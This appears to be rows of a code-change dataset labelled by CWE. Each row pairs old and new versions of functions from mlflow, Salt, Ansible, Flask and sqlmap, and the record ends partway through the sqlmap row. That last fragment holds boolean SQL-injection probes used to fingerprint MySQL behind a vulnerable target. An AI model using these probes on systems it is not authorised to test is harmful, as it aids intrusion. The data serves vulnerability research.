        ""c"": np.array([[[0, 0], [1, 1]], [[2, 2], [3, 3]]], dtype=np.float32),
    }

    # test that missing column raises
    inp1 = inp.copy()
    with pytest.raises(MlflowException, match=""Model is missing inputs""):
        pyfunc_model.predict(inp1.pop(""b""))

    # test that extra column is ignored
    inp2 = inp.copy()
    inp2[""x""] = 1

    # test that extra column is removed
    res = pyfunc_model.predict(inp2)
    assert res == {k: v for k, v in inp.items() if k in {""a"", ""b"", ""c""}}
    expected_types = dict(zip(input_schema.input_names(), input_schema.input_types()))
    actual_types = {k: v.dtype for k, v in res.items()}
    assert expected_types == actual_types

    # test that variable axes are supported
    inp3 = {
        ""a"": np.array([[0, 0, 0, 0, 0], [1, 1, 1, 1, 1], [2, 2, 2, 2, 2]], dtype=np.uint64),
        ""b"": np.array([[0, 0], [1, 1]], dtype=np.short),
        ""c"": np.array([[[0, 0]], [[2, 2]]], dtype=np.float32),
    }
    res = pyfunc_model.predict(inp3)
    assert _compare_exact_tensor_dict_input(res, inp3)
    expected_types = dict(zip(input_schema.input_names(), input_schema.input_types()))
    actual_types = {k: v.dtype for k, v in res.items()}
    assert expected_types == actual_types

    # test that type casting is not supported
    inp4 = inp.copy()
    inp4[""a""] = inp4[""a""].astype(np.int32)
    with pytest.raises(
        MlflowException, match=""dtype of input int32 does not match expected dtype uint64""
    ):
        pyfunc_model.predict(inp4)

    # test wrong shape
    inp5 = {
        ""a"": np.array([[0, 0, 0, 0]], dtype=np.uint),
        ""b"": np.array([[0, 0], [1, 1]], dtype=np.short),
        ""c"": np.array([[[0, 0]]], dtype=np.float32),
    }
    with pytest.raises(
        MlflowException,
        match=re.escape(""Shape of input (1, 4) does not match expected shape (-1, 5)""),
    ):
        pyfunc_model.predict(inp5)

    # test non-dictionary input
    inp6 = [
        np.array([[0, 0, 0, 0, 0]], dtype=np.uint64),
        np.array([[0, 0], [1, 1]], dtype=np.short),
        np.array([[[0, 0]]], dtype=np.float32),
    ]
    with pytest.raises(
        MlflowException, match=re.escape(""Model is missing inputs ['a', 'b', 'c']."")
    ):
        pyfunc_model.predict(inp6)

    # test empty ndarray does not work
    inp7 = inp.copy()
    inp7[""a""] = np.array([])
    with pytest.raises(
        MlflowException, match=re.escape(""Shape of input (0,) does not match expected shape"")
    ):
        pyfunc_model.predict(inp7)

    # test dictionary of str -> list does not work
    inp8 = {k: list(v) for k, v in inp.items()}
    match = (
        r""This model contains a tensor-based model signature with input names.+""
        r""suggests a dictionary input mapping input name to a numpy array, but a dict""
        r"" with value type <class 'list'> was found""
    )
    with pytest.raises(MlflowException, match=match):
        pyfunc_model.predict(inp8)

    # test dataframe input fails at shape enforcement
    pdf = pd.DataFrame(data=[[1, 2, 3]], columns=[""a"", ""b"", ""c""])
    pdf[""a""] = pdf[""a""].astype(np.uint64)
    pdf[""b""] = pdf[""b""].astype(np.short)
    pdf[""c""] = pdf[""c""].astype(np.float32)
    with pytest.raises(
        MlflowException,
        match=re.escape(
            ""The input pandas dataframe column 'a' contains scalar values, which requires the ""
            ""shape to be (-1,), but got tensor spec shape of (-1, 5)""
        ),
    ):
        pyfunc_model.predict(pdf)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/modules/test_beacons.py,0,"def test_add(self):
        '''
        Test adding a beacon
        '''
        comm1 = 'Added beacon: ps.'
        event_returns = [{'complete': True,
                          'tag': '/salt/minion/minion_beacons_list_complete',
                          'beacons': {}},
                         {'complete': True,
                          'tag': '/salt/minion/minion_beacons_list_available_complete',
                          'beacons': ['ps']},
                         {'complete': True,
                          'valid': True,
                          'vcomment': '',
                          'tag': '/salt/minion/minion_beacons_list_complete'},
                         {'complete': True,
                          'tag': '/salt/minion/minion_beacon_add_complete',
                          'beacons': {'ps': [{'processes': {'salt-master': 'stopped', 'apache2': 'stopped'}}]}}]

        with patch.dict(beacons.__opts__, {'beacons': {}, 'sock_dir': SOCK_DIR}):
            mock = MagicMock(return_value=True)
            with patch.dict(beacons.__salt__, {'event.fire': mock}):
                with patch.object(SaltEvent, 'get_event', side_effect=event_returns):
                    self.assertDictEqual(beacons.add('ps', [{'processes': {'salt-master': 'stopped', 'apache2': 'stopped'}}]),
                                         {'comment': comm1, 'result': True})",,saltstack/salt,e9699de94cfe7d0c76d6d1b5d43e6ff1cb507160,"def test_add(self):
        '''
        Test adding a beacon
        '''
        comm1 = 'Added beacon: ps.'
        event_returns = [{'complete': True,
                          'tag': '/salt/minion/minion_beacons_list_complete',
                          'beacons': {}},
                         {'complete': True,
                          'valid': True,
                          'vcomment': '',
                          'tag': '/salt/minion/minion_beacons_list_complete'},
                         {'complete': True,
                          'tag': '/salt/minion/minion_beacon_add_complete',
                          'beacons': {'ps': [{'processes': {'salt-master': 'stopped', 'apache2': 'stopped'}}]}}]

        with patch.dict(beacons.__opts__, {'beacons': {}, 'sock_dir': SOCK_DIR}):
            mock = MagicMock(return_value=True)
            with patch.dict(beacons.__salt__, {'event.fire': mock}):
                with patch.object(SaltEvent, 'get_event', side_effect=event_returns):
                    self.assertDictEqual(beacons.add('ps', [{'processes': {'salt-master': 'stopped', 'apache2': 'stopped'}}]),
                                         {'comment': comm1, 'result': True})"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/ovirt/ovirt_vm.py,0,"def main():
    argument_spec = ovirt_full_argument_spec(
        state=dict(type='str', default='present', choices=['absent', 'next_run', 'present', 'registered', 'running', 'stopped', 'suspended', 'exported']),
        name=dict(type='str'),
        id=dict(type='str'),
        cluster=dict(type='str'),
        allow_partial_import=dict(type='bool'),
        template=dict(type='str'),
        template_version=dict(type='int'),
        use_latest_template_version=dict(type='bool'),
        storage_domain=dict(type='str'),
        disk_format=dict(type='str', default='cow', choices=['cow', 'raw']),
        disks=dict(type='list', default=[]),
        memory=dict(type='str'),
        memory_guaranteed=dict(type='str'),
        memory_max=dict(type='str'),
        cpu_sockets=dict(type='int'),
        cpu_cores=dict(type='int'),
        cpu_shares=dict(type='int'),
        cpu_threads=dict(type='int'),
        type=dict(type='str', choices=['server', 'desktop', 'high_performance']),
        operating_system=dict(type='str'),
        cd_iso=dict(type='str'),
        boot_devices=dict(type='list', choices=['cdrom', 'hd', 'network']),
        vnic_profile_mappings=dict(default=[], type='list'),
        cluster_mappings=dict(default=[], type='list'),
        role_mappings=dict(default=[], type='list'),
        affinity_group_mappings=dict(default=[], type='list'),
        affinity_label_mappings=dict(default=[], type='list'),
        lun_mappings=dict(default=[], type='list'),
        domain_mappings=dict(default=[], type='list'),
        reassign_bad_macs=dict(default=None, type='bool'),
        boot_menu=dict(type='bool'),
        serial_console=dict(type='bool'),
        usb_support=dict(type='bool'),
        sso=dict(type='bool'),
        quota_id=dict(type='str'),
        high_availability=dict(type='bool'),
        high_availability_priority=dict(type='int'),
        lease=dict(type='str'),
        stateless=dict(type='bool'),
        delete_protected=dict(type='bool'),
        force=dict(type='bool', default=False),
        nics=dict(type='list', default=[]),
        cloud_init=dict(type='dict'),
        cloud_init_nics=dict(type='list', default=[]),
        cloud_init_persist=dict(type='bool', default=False, aliases=['sysprep_persist']),
        kernel_params_persist=dict(type='bool', default=False),
        sysprep=dict(type='dict'),
        host=dict(type='str'),
        clone=dict(type='bool', default=False),
        clone_permissions=dict(type='bool', default=False),
        kernel_path=dict(type='str'),
        initrd_path=dict(type='str'),
        kernel_params=dict(type='str'),
        instance_type=dict(type='str'),
        description=dict(type='str'),
        comment=dict(type='str'),
        timezone=dict(type='str'),
        serial_policy=dict(type='str', choices=['vm', 'host', 'custom']),
        serial_policy_value=dict(type='str'),
        vmware=dict(type='dict'),
        xen=dict(type='dict'),
        kvm=dict(type='dict'),
        cpu_mode=dict(type='str'),
        placement_policy=dict(type='str'),
        custom_compatibility_version=dict(type='str'),
        ticket=dict(type='bool', default=None),
        cpu_pinning=dict(type='list'),
        soundcard_enabled=dict(type='bool', default=None),
        smartcard_enabled=dict(type='bool', default=None),
        io_threads=dict(type='int', default=None),
        ballooning_enabled=dict(type='bool', default=None),
        rng_device=dict(type='str'),
        numa_tune_mode=dict(type='str', choices=['interleave', 'preferred', 'strict']),
        numa_nodes=dict(type='list', default=[]),
        custom_properties=dict(type='list'),
        watchdog=dict(type='dict'),
        host_devices=dict(type='list'),
        graphical_console=dict(type='dict'),
        exclusive=dict(type='bool'),
        export_domain=dict(default=None),
        export_ova=dict(type='dict'),
        force_migrate=dict(type='bool'),
        migrate=dict(type='bool', default=None),
        next_run=dict(type='bool'),
        snapshot_name=dict(type='str'),
        snapshot_vm=dict(type='str'),
    )
    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_one_of=[['id', 'name']],
        required_if=[
            ('state', 'registered', ['storage_domain']),
        ],
        required_together=[['snapshot_name', 'snapshot_vm']]
    )

    check_sdk(module)
    check_params(module)

    try:
        state = module.params['state']
        auth = module.params.pop('auth')
        connection = create_connection(auth)
        vms_service = connection.system_service().vms_service()
        vms_module = VmsModule(
            connection=connection,
            module=module,
            service=vms_service,
        )
        vm = vms_module.search_entity(list_params={'all_content': True})

        # Boolean variable to mark if vm existed before module was executed
        vm_existed = True if vm else False
        control_state(vm, vms_service, module)
        if state in ('present', 'running', 'next_run'):
            if module.params['xen'] or module.params['kvm'] or module.params['vmware']:
                vms_module.changed = import_vm(module, connection)

            # In case of wait=false and state=running, waits for VM to be created
            # In case VM don't exist, wait for VM DOWN state,
            # otherwise don't wait for any state, just update VM:
            ret = vms_module.create(
                entity=vm,
                result_state=otypes.VmStatus.DOWN if vm is None else None,
                update_params={'next_run': module.params['next_run']} if module.params['next_run'] is not None else None,
                clone=module.params['clone'],
                clone_permissions=module.params['clone_permissions'],
                _wait=True if not module.params['wait'] and state == 'running' else module.params['wait'],
            )
            # If VM is going to be created and check_mode is on, return now:
            if module.check_mode and ret.get('id') is None:
                module.exit_json(**ret)

            vms_module.post_present(ret['id'])
            # Run the VM if it was just created, else don't run it:
            if state == 'running':
                def kernel_persist_check():
                    return (module.params.get('kernel_params') or
                            module.params.get('initrd_path') or
                            module.params.get('kernel_path')
                            and not module.params.get('cloud_init_persist'))
                initialization = vms_module.get_initialization()
                ret = vms_module.action(
                    action='start',
                    post_action=vms_module._post_start_action,
                    action_condition=lambda vm: (
                        vm.status not in [
                            otypes.VmStatus.MIGRATING,
                            otypes.VmStatus.POWERING_UP,
                            otypes.VmStatus.REBOOT_IN_PROGRESS,
                            otypes.VmStatus.WAIT_FOR_LAUNCH,
                            otypes.VmStatus.UP,
                            otypes.VmStatus.RESTORING_STATE,
                        ]
                    ),
                    wait_condition=lambda vm: vm.status == otypes.VmStatus.UP,
                    # Start action kwargs:
                    use_cloud_init=True if not module.params.get('cloud_init_persist') and module.params.get('cloud_init') else None,
                    use_sysprep=True if not module.params.get('cloud_init_persist') and module.params.get('sysprep') else None,
                    vm=otypes.Vm(
                        placement_policy=otypes.VmPlacementPolicy(
                            hosts=[otypes.Host(name=module.params['host'])]
                        ) if module.params['host'] else None,
                        initialization=initialization,
                        os=otypes.OperatingSystem(
                            cmdline=module.params.get('kernel_params'),
                            initrd=module.params.get('initrd_path'),
                            kernel=module.params.get('kernel_path'),
                        ) if (kernel_persist_check()) else None,
                    ) if (
                        kernel_persist_check() or
                        module.params.get('host') or
                        initialization is not None
                        and not module.params.get('cloud_init_persist')
                    ) else None,
                )

                if module.params['ticket']:
                    vm_service = vms_service.vm_service(ret['id'])
                    graphics_consoles_service = vm_service.graphics_consoles_service()
                    graphics_console = graphics_consoles_service.list()[0]
                    console_service = graphics_consoles_service.console_service(graphics_console.id)
                    ticket = console_service.remote_viewer_connection_file()
                    if ticket:
                        ret['vm']['remote_vv_file'] = ticket

            if state == 'next_run':
                # Apply next run configuration, if needed:
                vm = vms_service.vm_service(ret['id']).get()
                if vm.next_run_configuration_exists:
                    ret = vms_module.action(
                        action='reboot',
                        entity=vm,
                        action_condition=lambda vm: vm.status == otypes.VmStatus.UP,
                        wait_condition=lambda vm: vm.status == otypes.VmStatus.UP,
                    )
            # Allow migrate vm when state present.
            if vm_existed:
                vms_module._migrate_vm(vm)
            ret['changed'] = vms_module.changed
        elif state == 'stopped':
            if module.params['xen'] or module.params['kvm'] or module.params['vmware']:
                vms_module.changed = import_vm(module, connection)

            ret = vms_module.create(
                entity=vm,
                result_state=otypes.VmStatus.DOWN if vm is None else None,
                clone=module.params['clone'],
                clone_permissions=module.params['clone_permissions'],
            )
            if module.params['force']:
                ret = vms_module.action(
                    action='stop',
                    action_condition=lambda vm: vm.status != otypes.VmStatus.DOWN,
                    wait_condition=vms_module.wait_for_down,
                )
            else:
                ret = vms_module.action(
                    action='shutdown',
                    pre_action=vms_module._pre_shutdown_action,
                    action_condition=lambda vm: vm.status != otypes.VmStatus.DOWN,
                    wait_condition=vms_module.wait_for_down,
                )
            vms_module.post_present(ret['id'])
        elif state == 'suspended':
            ret = vms_module.create(
                entity=vm,
                result_state=otypes.VmStatus.DOWN if vm is None else None,
                clone=module.params['clone'],
                clone_permissions=module.params['clone_permissions'],
            )
            vms_module.post_present(ret['id'])
            ret = vms_module.action(
                action='suspend',
                pre_action=vms_module._pre_suspend_action,
                action_condition=lambda vm: vm.status != otypes.VmStatus.SUSPENDED,
                wait_condition=lambda vm: vm.status == otypes.VmStatus.SUSPENDED,
            )
        elif state == 'absent':
            ret = vms_module.remove()
        elif state == 'registered':
            storage_domains_service = connection.system_service().storage_domains_service()

            # Find the storage domain with unregistered VM:
            sd_id = get_id_by_name(storage_domains_service, module.params['storage_domain'])
            storage_domain_service = storage_domains_service.storage_domain_service(sd_id)
            vms_service = storage_domain_service.vms_service()

            # Find the unregistered VM we want to register:
            vms = vms_service.list(unregistered=True)
            vm = next(
                (vm for vm in vms if (vm.id == module.params['id'] or vm.name == module.params['name'])),
                None
            )
            changed = False
            if vm is None:
                vm = vms_module.search_entity()
                if vm is None:
                    raise ValueError(
                        ""VM '%s(%s)' wasn't found."" % (module.params['name'], module.params['id'])
                    )
            else:
                # Register the vm into the system:
                changed = True
                vm_service = vms_service.vm_service(vm.id)
                vm_service.register(
                    allow_partial_import=module.params['allow_partial_import'],
                    cluster=otypes.Cluster(
                        name=module.params['cluster']
                    ) if module.params['cluster'] else None,
                    vnic_profile_mappings=_get_vnic_profile_mappings(module)
                    if module.params['vnic_profile_mappings'] else None,
                    reassign_bad_macs=module.params['reassign_bad_macs']
                    if module.params['reassign_bad_macs'] is not None else None,
                    registration_configuration=otypes.RegistrationConfiguration(
                        cluster_mappings=_get_cluster_mappings(module),
                        role_mappings=_get_role_mappings(module),
                        domain_mappings=_get_domain_mappings(module),
                        lun_mappings=_get_lun_mappings(module),
                        affinity_group_mappings=_get_affinity_group_mappings(module),
                        affinity_label_mappings=_get_affinity_label_mappings(module),
                    ) if (module.params['cluster_mappings']
                          or module.params['role_mappings']
                          or module.params['domain_mappings']
                          or module.params['lun_mappings']
                          or module.params['affinity_group_mappings']
                          or module.params['affinity_label_mappings']) else None
                )

                if module.params['wait']:
                    vm = vms_module.wait_for_import()
                else:
                    # Fetch vm to initialize return.
                    vm = vm_service.get()
            ret = {
                'changed': changed,
                'id': vm.id,
                'vm': get_dict_of_struct(vm)
            }
        elif state == 'exported':
            if module.params['export_domain']:
                export_service = vms_module._get_export_domain_service()
                export_vm = search_by_attributes(export_service.vms_service(), id=vm.id)

                ret = vms_module.action(
                    entity=vm,
                    action='export',
                    action_condition=lambda t: export_vm is None or module.params['exclusive'],
                    wait_condition=lambda t: t is not None,
                    post_action=vms_module.post_export_action,
                    storage_domain=otypes.StorageDomain(id=export_service.get().id),
                    exclusive=module.params['exclusive'],
                )
            elif module.params['export_ova']:
                export_vm = module.params['export_ova']
                ret = vms_module.action(
                    entity=vm,
                    action='export_to_path_on_host',
                    host=otypes.Host(name=export_vm.get('host')),
                    directory=export_vm.get('directory'),
                    filename=export_vm.get('filename'),
                )

        module.exit_json(**ret)
    except Exception as e:
        module.fail_json(msg=str(e), exception=traceback.format_exc())
    finally:
        connection.close(logout=auth.get('token') is None)",,ansible/ansible,c7f414dece3cd08c4ec1e5506c9354dda51d037c,"def main():
    argument_spec = ovirt_full_argument_spec(
        state=dict(type='str', default='present', choices=['absent', 'next_run', 'present', 'registered', 'running', 'stopped', 'suspended', 'exported']),
        name=dict(type='str'),
        id=dict(type='str'),
        cluster=dict(type='str'),
        allow_partial_import=dict(type='bool'),
        template=dict(type='str'),
        template_version=dict(type='int'),
        use_latest_template_version=dict(type='bool'),
        storage_domain=dict(type='str'),
        disk_format=dict(type='str', default='cow', choices=['cow', 'raw']),
        disks=dict(type='list', default=[]),
        memory=dict(type='str'),
        memory_guaranteed=dict(type='str'),
        memory_max=dict(type='str'),
        cpu_sockets=dict(type='int'),
        cpu_cores=dict(type='int'),
        cpu_shares=dict(type='int'),
        cpu_threads=dict(type='int'),
        type=dict(type='str', choices=['server', 'desktop', 'high_performance']),
        operating_system=dict(type='str'),
        cd_iso=dict(type='str'),
        boot_devices=dict(type='list', choices=['cdrom', 'hd', 'network']),
        vnic_profile_mappings=dict(default=[], type='list'),
        cluster_mappings=dict(default=[], type='list'),
        role_mappings=dict(default=[], type='list'),
        affinity_group_mappings=dict(default=[], type='list'),
        affinity_label_mappings=dict(default=[], type='list'),
        lun_mappings=dict(default=[], type='list'),
        domain_mappings=dict(default=[], type='list'),
        reassign_bad_macs=dict(default=None, type='bool'),
        boot_menu=dict(type='bool'),
        serial_console=dict(type='bool'),
        usb_support=dict(type='bool'),
        sso=dict(type='bool'),
        quota_id=dict(type='str'),
        high_availability=dict(type='bool'),
        high_availability_priority=dict(type='int'),
        lease=dict(type='str'),
        stateless=dict(type='bool'),
        delete_protected=dict(type='bool'),
        force=dict(type='bool', default=False),
        nics=dict(type='list', default=[]),
        cloud_init=dict(type='dict'),
        cloud_init_nics=dict(type='list', default=[]),
        cloud_init_persist=dict(type='bool', default=False, aliases=['sysprep_persist']),
        kernel_params_persist=dict(type='bool', default=False),
        sysprep=dict(type='dict'),
        host=dict(type='str'),
        clone=dict(type='bool', default=False),
        clone_permissions=dict(type='bool', default=False),
        kernel_path=dict(type='str'),
        initrd_path=dict(type='str'),
        kernel_params=dict(type='str'),
        instance_type=dict(type='str'),
        description=dict(type='str'),
        comment=dict(type='str'),
        timezone=dict(type='str'),
        serial_policy=dict(type='str', choices=['vm', 'host', 'custom']),
        serial_policy_value=dict(type='str'),
        vmware=dict(type='dict'),
        xen=dict(type='dict'),
        kvm=dict(type='dict'),
        cpu_mode=dict(type='str'),
        placement_policy=dict(type='str'),
        custom_compatibility_version=dict(type='str'),
        ticket=dict(type='bool', default=None),
        cpu_pinning=dict(type='list'),
        soundcard_enabled=dict(type='bool', default=None),
        smartcard_enabled=dict(type='bool', default=None),
        io_threads=dict(type='int', default=None),
        ballooning_enabled=dict(type='bool', default=None),
        rng_device=dict(type='str'),
        numa_tune_mode=dict(type='str', choices=['interleave', 'preferred', 'strict']),
        numa_nodes=dict(type='list', default=[]),
        custom_properties=dict(type='list'),
        watchdog=dict(type='dict'),
        host_devices=dict(type='list'),
        graphical_console=dict(type='dict'),
        exclusive=dict(type='bool'),
        export_domain=dict(default=None),
        export_ova=dict(type='dict'),
        force_migrate=dict(type='bool'),
        migrate=dict(type='bool', default=None),
        next_run=dict(type='bool'),
        snapshot_name=dict(type='str'),
        snapshot_vm=dict(type='str'),
    )
    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_one_of=[['id', 'name']],
        required_if=[
            ('state', 'registered', ['storage_domain']),
        ],
        required_together=[['snapshot_name', 'snapshot_vm']]
    )

    check_sdk(module)
    check_params(module)

    try:
        state = module.params['state']
        auth = module.params.pop('auth')
        connection = create_connection(auth)
        vms_service = connection.system_service().vms_service()
        vms_module = VmsModule(
            connection=connection,
            module=module,
            service=vms_service,
        )
        vm = vms_module.search_entity(list_params={'all_content': True})

        control_state(vm, vms_service, module)
        if state in ('present', 'running', 'next_run'):
            if module.params['xen'] or module.params['kvm'] or module.params['vmware']:
                vms_module.changed = import_vm(module, connection)

            # In case of wait=false and state=running, waits for VM to be created
            # In case VM don't exist, wait for VM DOWN state,
            # otherwise don't wait for any state, just update VM:
            ret = vms_module.create(
                entity=vm,
                result_state=otypes.VmStatus.DOWN if vm is None else None,
                update_params={'next_run': module.params['next_run']} if module.params['next_run'] is not None else None,
                clone=module.params['clone'],
                clone_permissions=module.params['clone_permissions'],
                _wait=True if not module.params['wait'] and state == 'running' else module.params['wait'],
            )
            # If VM is going to be created and check_mode is on, return now:
            if module.check_mode and ret.get('id') is None:
                module.exit_json(**ret)

            vms_module.post_present(ret['id'])
            # Run the VM if it was just created, else don't run it:
            if state == 'running':
                def kernel_persist_check():
                    return (module.params.get('kernel_params') or
                            module.params.get('initrd_path') or
                            module.params.get('kernel_path')
                            and not module.params.get('cloud_init_persist'))
                initialization = vms_module.get_initialization()
                ret = vms_module.action(
                    action='start',
                    post_action=vms_module._post_start_action,
                    action_condition=lambda vm: (
                        vm.status not in [
                            otypes.VmStatus.MIGRATING,
                            otypes.VmStatus.POWERING_UP,
                            otypes.VmStatus.REBOOT_IN_PROGRESS,
                            otypes.VmStatus.WAIT_FOR_LAUNCH,
                            otypes.VmStatus.UP,
                            otypes.VmStatus.RESTORING_STATE,
                        ]
                    ),
                    wait_condition=lambda vm: vm.status == otypes.VmStatus.UP,
                    # Start action kwargs:
                    use_cloud_init=True if not module.params.get('cloud_init_persist') and module.params.get('cloud_init') else None,
                    use_sysprep=True if not module.params.get('cloud_init_persist') and module.params.get('sysprep') else None,
                    vm=otypes.Vm(
                        placement_policy=otypes.VmPlacementPolicy(
                            hosts=[otypes.Host(name=module.params['host'])]
                        ) if module.params['host'] else None,
                        initialization=initialization,
                        os=otypes.OperatingSystem(
                            cmdline=module.params.get('kernel_params'),
                            initrd=module.params.get('initrd_path'),
                            kernel=module.params.get('kernel_path'),
                        ) if (kernel_persist_check()) else None,
                    ) if (
                        kernel_persist_check() or
                        module.params.get('host') or
                        initialization is not None
                        and not module.params.get('cloud_init_persist')
                    ) else None,
                )

                if module.params['ticket']:
                    vm_service = vms_service.vm_service(ret['id'])
                    graphics_consoles_service = vm_service.graphics_consoles_service()
                    graphics_console = graphics_consoles_service.list()[0]
                    console_service = graphics_consoles_service.console_service(graphics_console.id)
                    ticket = console_service.remote_viewer_connection_file()
                    if ticket:
                        ret['vm']['remote_vv_file'] = ticket

            if state == 'next_run':
                # Apply next run configuration, if needed:
                vm = vms_service.vm_service(ret['id']).get()
                if vm.next_run_configuration_exists:
                    ret = vms_module.action(
                        action='reboot',
                        entity=vm,
                        action_condition=lambda vm: vm.status == otypes.VmStatus.UP,
                        wait_condition=lambda vm: vm.status == otypes.VmStatus.UP,
                    )
            # Allow migrate vm when state present.
            vms_module._migrate_vm(vm)
            ret['changed'] = vms_module.changed
        elif state == 'stopped':
            if module.params['xen'] or module.params['kvm'] or module.params['vmware']:
                vms_module.changed = import_vm(module, connection)

            ret = vms_module.create(
                entity=vm,
                result_state=otypes.VmStatus.DOWN if vm is None else None,
                clone=module.params['clone'],
                clone_permissions=module.params['clone_permissions'],
            )
            if module.params['force']:
                ret = vms_module.action(
                    action='stop',
                    action_condition=lambda vm: vm.status != otypes.VmStatus.DOWN,
                    wait_condition=vms_module.wait_for_down,
                )
            else:
                ret = vms_module.action(
                    action='shutdown',
                    pre_action=vms_module._pre_shutdown_action,
                    action_condition=lambda vm: vm.status != otypes.VmStatus.DOWN,
                    wait_condition=vms_module.wait_for_down,
                )
            vms_module.post_present(ret['id'])
        elif state == 'suspended':
            ret = vms_module.create(
                entity=vm,
                result_state=otypes.VmStatus.DOWN if vm is None else None,
                clone=module.params['clone'],
                clone_permissions=module.params['clone_permissions'],
            )
            vms_module.post_present(ret['id'])
            ret = vms_module.action(
                action='suspend',
                pre_action=vms_module._pre_suspend_action,
                action_condition=lambda vm: vm.status != otypes.VmStatus.SUSPENDED,
                wait_condition=lambda vm: vm.status == otypes.VmStatus.SUSPENDED,
            )
        elif state == 'absent':
            ret = vms_module.remove()
        elif state == 'registered':
            storage_domains_service = connection.system_service().storage_domains_service()

            # Find the storage domain with unregistered VM:
            sd_id = get_id_by_name(storage_domains_service, module.params['storage_domain'])
            storage_domain_service = storage_domains_service.storage_domain_service(sd_id)
            vms_service = storage_domain_service.vms_service()

            # Find the unregistered VM we want to register:
            vms = vms_service.list(unregistered=True)
            vm = next(
                (vm for vm in vms if (vm.id == module.params['id'] or vm.name == module.params['name'])),
                None
            )
            changed = False
            if vm is None:
                vm = vms_module.search_entity()
                if vm is None:
                    raise ValueError(
                        ""VM '%s(%s)' wasn't found."" % (module.params['name'], module.params['id'])
                    )
            else:
                # Register the vm into the system:
                changed = True
                vm_service = vms_service.vm_service(vm.id)
                vm_service.register(
                    allow_partial_import=module.params['allow_partial_import'],
                    cluster=otypes.Cluster(
                        name=module.params['cluster']
                    ) if module.params['cluster'] else None,
                    vnic_profile_mappings=_get_vnic_profile_mappings(module)
                    if module.params['vnic_profile_mappings'] else None,
                    reassign_bad_macs=module.params['reassign_bad_macs']
                    if module.params['reassign_bad_macs'] is not None else None,
                    registration_configuration=otypes.RegistrationConfiguration(
                        cluster_mappings=_get_cluster_mappings(module),
                        role_mappings=_get_role_mappings(module),
                        domain_mappings=_get_domain_mappings(module),
                        lun_mappings=_get_lun_mappings(module),
                        affinity_group_mappings=_get_affinity_group_mappings(module),
                        affinity_label_mappings=_get_affinity_label_mappings(module),
                    ) if (module.params['cluster_mappings']
                          or module.params['role_mappings']
                          or module.params['domain_mappings']
                          or module.params['lun_mappings']
                          or module.params['affinity_group_mappings']
                          or module.params['affinity_label_mappings']) else None
                )

                if module.params['wait']:
                    vm = vms_module.wait_for_import()
                else:
                    # Fetch vm to initialize return.
                    vm = vm_service.get()
            ret = {
                'changed': changed,
                'id': vm.id,
                'vm': get_dict_of_struct(vm)
            }
        elif state == 'exported':
            if module.params['export_domain']:
                export_service = vms_module._get_export_domain_service()
                export_vm = search_by_attributes(export_service.vms_service(), id=vm.id)

                ret = vms_module.action(
                    entity=vm,
                    action='export',
                    action_condition=lambda t: export_vm is None or module.params['exclusive'],
                    wait_condition=lambda t: t is not None,
                    post_action=vms_module.post_export_action,
                    storage_domain=otypes.StorageDomain(id=export_service.get().id),
                    exclusive=module.params['exclusive'],
                )
            elif module.params['export_ova']:
                export_vm = module.params['export_ova']
                ret = vms_module.action(
                    entity=vm,
                    action='export_to_path_on_host',
                    host=otypes.Host(name=export_vm.get('host')),
                    directory=export_vm.get('directory'),
                    filename=export_vm.get('filename'),
                )

        module.exit_json(**ret)
    except Exception as e:
        module.fail_json(msg=str(e), exception=traceback.format_exc())
    finally:
        connection.close(logout=auth.get('token') is None)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_logging.py,0,"def reset_logging(monkeypatch):
    root_handlers = logging.root.handlers[:]
    root_level = logging.root.level

    logger = logging.getLogger('flask.app')
    logger.handlers = []
    logger.setLevel(logging.NOTSET)

    logging_plugin = pytest.config.pluginmanager.getplugin('logging-plugin')
    pytest.config.pluginmanager.unregister(name='logging-plugin')
    logging.root.handlers = []

    yield

    logging.root.handlers[:] = root_handlers
    logging.root.setLevel(root_level)

    logger.handlers = []
    logger.setLevel(logging.NOTSET)

    pytest.config.pluginmanager.register(logging_plugin, 'logging-plugin')",,pallets/flask,e30c39fe78cb8d3fe8379f032b66f7719b2e99c5,"def reset_logging(monkeypatch):
    root_handlers = logging.root.handlers[:]
    root_level = logging.root.level

    logger = logging.getLogger('flask.app')
    logger.handlers = []
    logger.setLevel(logging.NOTSET)

    yield

    logging.root.handlers[:] = root_handlers
    logging.root.setLevel(root_level)

    logger.handlers = []
    logger.setLevel(logging.NOTSET)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mysql/fingerprint.py,0,"def checkDbms(self):
        """"""
        References for fingerprint:

        * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
        * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
        * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
        * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """"""

        if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
           or (conf.dbms or """").lower() in MYSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
            v = Backend.getVersion().replace("">"", """")
            v = v.replace(""="", """")
            v = v.replace("" "", """")

            Backend.setVersion(v)

            setDbms(""%s %s"" % (DBMS.MYSQL, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan(""5""):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.MYSQL
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""QUARTER(NULL) IS NULL"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.MYSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""SESSION_USER() LIKE USER()"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.MYSQL
                logger.warn(warnMsg)

                return False

            if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
                hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression(""VERSION() LIKE '%MariaDB%'"") and ""MariaDB"" or """")

            # reading information_schema on some platforms is causing annoying timeout exits
            # Reference: http://bugs.mysql.com/bug.php?id=15855

            # Determine if it is MySQL >= 5.0.0
